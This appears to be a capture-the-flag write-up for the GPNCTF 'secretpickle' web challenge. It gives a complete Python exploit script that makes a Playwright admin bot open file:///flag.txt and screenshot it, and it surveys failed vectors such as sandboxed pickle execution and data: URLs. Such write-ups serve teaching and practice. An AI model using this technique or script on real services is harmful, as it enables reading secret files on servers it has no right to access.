$ cat writeup.md…
$ cat writeup.md…
gpnctf
Task: Custom 'secretpickle' serialization (XOR + pickle) with seccomp-sandboxed server-side deserialization, Pyodide client, and Playwright adminbot that stores flag as admin password. Solution: Bypass all pickle/seccomp complexity by sending file:///flag.txt URL to adminbot, which renders the flag in Chromium and returns a screenshot.
The only serialization method that I found in the restaurant were Pickles. So I made an encrypted (and secure) version of it that nobody can crack or pwn!
A multi-component web challenge with a custom "secretpickle" serialization format (XOR encryption + pickle), a seccomp-sandboxed server, a Pyodide-based browser client, and a Playwright adminbot. The flag is stored as the admin user's password in the same container.
The challenge has four main components:
Server (server.py): FastAPI app that deserializes incoming requests using secretpickle_load() with a safe_pickle_load decoder. Supports actions: hello, register, login, whoami, encrypt, decrypt, and adminbot.
Client (client.py): Runs in-browser via Pyodide (Python-in-WASM). Parses URL query parameters as YAML, adds localStorage.username and localStorage.password to the payload, sends secretpickle-encoded POST to server. Response HTML goes through DOMPurify 3.4.7.
Adminbot (adminbot.py): Playwright/Chromium bot that:
password=FLAG (read from /flag.txt)whoami to confirm loginSecretPickle format (secretpickle.py): base64(XOR(pickle_bytes[14:], key)) where the XOR key is hardcoded: 77c07f8fd2ae7ad9f5aabc008c79d0d3.
Safe loader (safe_loader.py): Spawns a subprocess, applies seccomp filter (default=KILL, allow only write syscall), then does pickle.loads() → json.dumps() → stdout. Parent reads stdout and does json.loads().
secretpickle.py — hardcoded XOR key:
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28") SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3") def secretpickle_dump(decoded, encoder=pickle.dumps): raw = encoder(decoded) trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):] xored = secretpickle_encrypt(trimmed) encoded = base64.b64encode(xored).decode() return encoded
adminbot.py — reads flag and visits arbitrary URLs:
FLAG = open("/flag.txt").read().strip() async def visit(url): # ... registers admin with password=FLAG, logs in ... await page.goto(url) # visits attacker-supplied URL screenshot = await page.screenshot(full_page=True) return screenshot
server.py — adminbot action accepts any base64-encoded URL:
if action == "adminbot": url = base64.b64decode(params["url"]).decode() adminbot_url = f"http://{ADMINBOT_HOST}:{ADMINBOT_PORT}/visit?url={quote(url)}" screenshot = await asyncio.to_thread(_fetch) return ok(f"<img src='data:image/png;base64,{base64.b64encode(screenshot).decode()}'>")
| Vector | Feasibility | Why |
|---|---|---|
| Server-side pickle RCE | ❌ | Seccomp sandbox blocks all syscalls except write |
| Seccomp bypass via eval | ❌ | eval() works but subprocess is isolated from server process |
| YAML injection in client | ❌ | & is replaced with newline, preventing YAML anchors |
| DOMPurify bypass | ❌ | Version 3.4.7, no known bypasses |
javascript: URL via adminbot | ❌ | Playwright blocks javascript: protocol in page.goto() |
data: URL with JS | ❌ | Works but has null origin — can't access server's localStorage |
file:// URL via adminbot | ✅ | Chromium renders local files, adminbot returns screenshot |
The adminbot's page.goto(url) accepts any URL scheme, including file://. Since the adminbot and server run in the same container, and /flag.txt exists on disk (the adminbot reads it at startup), we can make Chromium navigate to file:///flag.txt. Chromium renders the file content as a text page, and the adminbot takes a screenshot which is returned to us as a base64-encoded PNG.
The entire pickle/seccomp/XOR complexity is a red herring — the real vulnerability is the unrestricted URL scheme in the adminbot.
Since the XOR key is hardcoded in secretpickle.py, we can import the module directly and use secretpickle_dump() to create valid requests:
from secretpickle import secretpickle_dump, secretpickle_load payload = { "action": "adminbot", "params": {"url": base64.b64encode(b"file:///flag.txt").decode()} } b64 = secretpickle_dump(payload)
POST the encoded payload to the server. The server forwards the URL to the adminbot, which:
file:///flag.txt#!/usr/bin/env python3 """ Secure Secretpickle exploit — GPNCTF 2025 Abuses adminbot's unrestricted page.goto() to read /flag.txt via file:// protocol. """ import sys, os, base64, json, re import urllib.request, urllib.parse sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), 'secretpickle-secure')) from secretpickle import secretpickle_dump, secretpickle_load TARGET = sys.argv[1].rstrip('/') def send_dict(d, timeout=120): b64 = secretpickle_dump(d) url = TARGET + '/' + urllib.parse.quote(b64, safe='') req = urllib.request.Request(url, method='POST') with urllib.request.urlopen(req, timeout=timeout) as r: raw = r.read().decode() enc = json.loads(raw) return secretpickle_load(enc) # Make adminbot visit file:///flag.txt and return screenshot bot_url = base64.b64encode(b"file:///flag.txt").decode() res = send_dict({"action": "adminbot", "params": {"url": bot_url}}) if res.get("status") == "ok": result = res.get("result", "") # Save screenshot m = re.search(r"data:image/png;base64,([A-Za-z0-9+/=]+)", result) if m: img_data = base64.b64decode(m.group(1)) with open("flag_screenshot.png", "wb") as f: f.write(img_data) print(f"Screenshot saved ({len(img_data)} bytes)") # Extract flag from any text in response flags = re.findall(r"GPNCTF\{[^}]*\}", result) if flags: print(f"FLAG: {flags[0]}") else: print(f"Error: {res}")
Server-side pickle RCE: The seccomp sandbox in safe_loader.py kills the process on any syscall except write. While eval() and exec() work (they're pure Python bytecode execution), the subprocess can't perform file I/O, network operations, or any OS interaction beyond writing to already-open file descriptors.
Subprocess stdout injection: Successfully demonstrated that exec() works under seccomp and can control the subprocess output via sys.stdout.write() + sys.exit(0). However, the subprocess is completely isolated from the server process — it can't modify server memory, hook functions, or alter responses to other clients.
YAML injection in client: The client parses URL query parameters as YAML (?key=value → key: value). The & separator is replaced with newline. This prevents YAML anchors (&anchor) which could have been used to reference pl["password"] in the params. Without anchors, there's no way to make the YAML parser include the admin's password in a visible field.
javascript: URL: Playwright blocks javascript: protocol in page.goto(), raising an error.
data: URL with JavaScript: Works — the adminbot can visit data:text/html;base64,... URLs and execute JavaScript. However, data: URLs have a null origin, so localStorage access returns null (it's scoped to the challenge domain's origin, not the null origin).
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar